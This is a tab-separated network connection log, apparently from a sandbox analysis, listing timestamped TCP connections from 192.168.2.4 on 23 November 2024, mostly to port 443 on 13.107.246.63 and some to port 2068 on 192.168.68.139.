Nov 23, 2024 21:12:27.275573015 CET	49847	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:12:27.612798929 CET	49847	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:12:27.612831116 CET	443	49847	142.250.181.100	192.168.2.4
Nov 23, 2024 21:12:28.754421949 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.757775068 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:28.757810116 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.759085894 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:28.759094000 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.848798037 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.849807978 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:28.849822998 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.853365898 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:28.853374958 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.894156933 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.894896030 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:28.894917011 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.895335913 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:28.895343065 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.896218061 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.896930933 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:28.896939993 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:28.897305965 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:28.897311926 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.149669886 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.190104008 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.190141916 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.191006899 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.191015005 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.350858927 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.350958109 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.351051092 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.355572939 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.355600119 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.382242918 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.382319927 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.382411003 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.393516064 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.393516064 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.393548012 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.393563986 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.402024031 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.402065992 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.402121067 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.411389112 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.411428928 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.411499977 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.414910078 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.414927006 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.431519985 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.431540012 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.471602917 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.471702099 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.472451925 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.472646952 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.472712040 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.472767115 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.476712942 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.476727009 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.537975073 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.538002968 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.538018942 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.538033962 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.572280884 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.572320938 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.572391987 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.574506044 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.574556112 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.574609041 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.579251051 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.579261065 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.580790997 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.580805063 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.678144932 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.678219080 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.678327084 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.678504944 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.678504944 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.678519011 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.678528070 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.682087898 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.682128906 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.682220936 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.682492018 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:29.682506084 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:29.765604973 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:29.920511961 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:31.245290041 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.245732069 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.245759964 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.246236086 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.246243954 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.318715096 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.319252968 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.319272041 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.319787025 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.319792032 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.376688004 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:31.491755009 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.491874933 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.492400885 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.492479086 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.492877960 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.492892027 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.493029118 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.493047953 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.493499994 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.493505001 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.496299028 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.496779919 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.496788979 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.497770071 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.497776031 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.520534039 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:31.520596027 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:31.658021927 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:31.742048025 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.742208004 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.742270947 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.742373943 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.742398977 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.742413044 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.742419958 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.745013952 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.745059013 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.745138884 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.745353937 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.745368958 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.855506897 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.855578899 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.855813026 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.855813026 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.855866909 CET	49875	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.855882883 CET	443	49875	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.860806942 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.860853910 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:31.860920906 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.861444950 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:31.861457109 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.232280970 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.232357025 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.233320951 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.233320951 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.233391047 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.233411074 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.244227886 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.244309902 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.244759083 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.245734930 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.245790958 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.246067047 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.247982025 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.247991085 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.248027086 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.248033047 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.248773098 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.248790979 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.248823881 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.248831034 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.253256083 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.253290892 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.253464937 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.255337954 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.255434990 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.255610943 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.255655050 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.255697012 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.255727053 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.255932093 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.255950928 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.255964994 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.255970001 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:32.256067991 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:32.256083965 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:33.562714100 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:33.700721979 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:33.856103897 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:33.856782913 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:33.856800079 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:33.857369900 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:33.857374907 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:33.878032923 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:33.880335093 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:33.880335093 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:33.880368948 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:33.880393028 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.092632055 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.092717886 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.095848083 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.095885038 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.095911026 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.095936060 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.096390963 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.096402884 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.096426964 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.096431971 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.104007959 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:34.108380079 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.112190962 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.112190962 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.112215996 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.112232924 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.223548889 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:34.415152073 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.415338039 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.415647030 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.415647030 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.415817022 CET	49880	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.415833950 CET	443	49880	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.419342041 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.419400930 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.419823885 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.423043013 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.423063993 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.429322004 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.429518938 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.429688931 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.429688931 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.429780960 CET	49881	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.429825068 CET	443	49881	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.435357094 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.435441971 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.435564041 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.435973883 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.435987949 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.579570055 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.579643011 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.579742908 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.579829931 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.579943895 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.579946041 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.580224991 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.580266953 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.580267906 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.580267906 CET	49882	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.580282927 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.580295086 CET	443	49882	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.580302000 CET	49883	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.580318928 CET	443	49883	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.583333015 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.583333015 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.583368063 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.583375931 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.583530903 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.583532095 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.583760977 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.583762884 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.583775043 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.583782911 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.598478079 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.598551035 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.598679066 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.598871946 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.598918915 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.598947048 CET	49884	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.598968983 CET	443	49884	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.601461887 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.601511002 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:34.601815939 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.601907015 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:34.601922035 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.346117020 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.351926088 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.373153925 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.373174906 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.373920918 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.373928070 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.374699116 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.374699116 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.374768019 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.374814987 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.451853991 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.452498913 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.452516079 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.452864885 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.453406096 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.453412056 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.454929113 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.454929113 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.454946995 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.454963923 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.477054119 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.478173971 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.478187084 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.481384993 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.481389999 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.929038048 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.929106951 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.929199934 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.929512978 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.929533958 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.929548025 CET	49887	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.929554939 CET	443	49887	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.932616949 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.932785034 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.932840109 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.933079958 CET	49885	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.933087111 CET	443	49885	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.933187962 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.933223009 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.933281898 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.933990955 CET	49891	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.934005976 CET	443	49891	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.935467005 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.935520887 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.935565948 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.935820103 CET	49892	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.935846090 CET	443	49892	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.937109947 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.937261105 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.937325001 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.937438965 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.937478065 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.937535048 CET	49886	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.937551022 CET	443	49886	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.939956903 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.939992905 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.940042973 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.940310955 CET	49893	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.940325022 CET	443	49893	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.953502893 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.953578949 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.953624010 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.953905106 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.953921080 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.953932047 CET	49888	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.953938007 CET	443	49888	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.957110882 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.957158089 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:36.957215071 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.957406998 CET	49894	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:36.957421064 CET	443	49894	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:37.034929037 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:37.035012007 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:37.035065889 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:37.035376072 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:37.035376072 CET	49889	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:37.035394907 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:37.035403013 CET	443	49889	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:37.039521933 CET	49895	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:37.039567947 CET	443	49895	13.107.246.63	192.168.2.4
